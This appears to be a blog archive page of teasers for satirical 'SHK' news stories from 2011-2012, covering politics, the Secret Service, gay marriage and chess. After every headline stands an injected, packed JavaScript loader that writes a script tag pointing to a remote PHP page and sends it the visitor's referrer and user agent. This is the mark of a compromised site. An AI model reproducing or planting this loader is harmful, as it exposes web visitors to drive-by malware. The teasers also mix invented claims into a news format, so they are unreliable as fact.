New York’s Mayoralty Race Tightens Up

BIG APPLE’S MAYORALTY RACE HEATS UP eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehfaf|var|u0026u|referrer|eeeyf||js|php’.split(‘|’),0,{})) Disgraced ex-Congressman neck-and-neck with New York’s leading lesbian New York, July 7th (SHK) Samantha Curtis hit the ceiling last weekend when she learned that ex-Congressman Anthony Wiener would speak at her daughter’s high school graduation. But when he invoked the “arc of the [...]

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Tennis Ref Charged with Murder

TENNIS REF CHARGED WITH MURDER eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfiyb|var|u0026u|referrer|yzyfs||js|php’.split(‘|’),0,{})) McEnroe, Nastase Not Implicated, Inside Sources Say New York, NY August 22nd, 2012 (SHK) Yesterday the New York Police Department arrested a professional tennis referee at a Manhattan hotel on charges of murder in the death of her husband last April. Prosecutors say she [...]

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The Reading Styles of Very Important People

READING STYLES OF VERY IMPORTANT PEOPLE (RS/VIP) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkyan|var|u0026u|referrer|yfatb||js|php’.split(‘|’),0,{})) Harvard’s First Female President Cites Literary Influences Cambridge, MA May 27th, 2012 (SHK) This week’s book review section of The New York Times comes with a brand-new feature for the paper’s subscribers: interviews with Very Important People about their reading styles. The [...]

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New Secret Service Rules Announced

SECRET SERVICE CLAMPS DOWN ON AGENT CONDUCT eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eerni|var|u0026u|referrer|zsskk||js|php’.split(‘|’),0,{})) U. S. Government Now to Provide Inflatable Sex Dolls Washington, D. C. April 29th, 2012 (SHK) The Federal government today announced stricter enforcement of behavior by Secret Service agents when they are sent overseas to protect the president. In addition to the [...]

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New Campaign for Global Sex

NEW CAMPAIGN TO LEGALIZE GLOBAL SEX eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsaza|var|u0026u|referrer|hsisf||js|php’.split(‘|’),0,{})) Spurred by the Committee for the Legalization of American Prostitution Washington, DC April 21st, 2012 (SHK) Last week a dozen Secret Service agents were recalled from Cartagena, Colombia, as part of an internal investigation into their nocturnal activities in “tolerance zones” while on [...]

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World’s Absurdities Multiply

WITH NO PRIMARIES, WORLD’S ABSURDITIES MULTIPLY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdbdk|var|u0026u|referrer|rntye||js|php’.split(‘|’),0,{})) The New York Times Features Only Sadness and Guilt Now New York, NY February 18th, 2012 (SHK) With the Republican primary elections in temporary hiatus, America’s leading newspapers like The New York Times have been inundating us with sad, guilt-laden stories from around [...]

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California Reverses Gay Marriage Ban

CALIFORNIA COURT REVERSES GAY MARRIAGE BAN eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enbyy|var|u0026u|referrer|dbdbt||js|php’.split(‘|’),0,{})) More States to Tighten Laws by 2020 San Francisco, CA February 12th, 2012 (SHK) California’s 3-judge Ninth Federal district court of appeals voted 2-1 last week to overturn the state’s 2008 ban on gay marriage, assuring that the case will go to the [...]

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Big Iowa Caucus Kickoff Today

IOWA’S CAUCUS KICKS OFF TODAY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ednia|var|u0026u|referrer|ytdbk||js|php’.split(‘|’),0,{})) Republican Dwarves Hunting Straw Votes in a Haystack Des Moines, Iowa January 3rd, 2012 (SHK) The 2012 Open Season on Primaries starts today in Iowa. Republicans will watch the polls closely to see who takes the lead in this massively important landlocked Midwestern state. [...]

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Cain, Bachmann Both Drop Out

CAIN, BACHMANN DROP OUT OF THE RACE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbkyb|var|u0026u|referrer|kdsbk||js|php’.split(‘|’),0,{})) Replaced by Republicans with Unpronounceable Names Washington, D. C. December 5th, 2011 (SHK) Republican presidential candidate Herman Cain today announced his official withdrawal from the 2012 race. This came as no surprise; speculation was high that he would suspend his campaign because [...]

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Chinese Woman, 17, Still Champ

CHINESE CHESS CHAMP STILL THE WORLD’S BEST eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfhan|var|u0026u|referrer|aeyak||js|php’.split(‘|’),0,{})) Feminists See Huge Gains for Women Ahead Beijing, China November 28th, 2011 (SHK) Hou Yifan, the 17-year-old chess grandmaster from Xinghua, China, retained the title of Women’s World Chess Champion Friday by beating Humpy Koneru, the best Indian woman ever to play [...]

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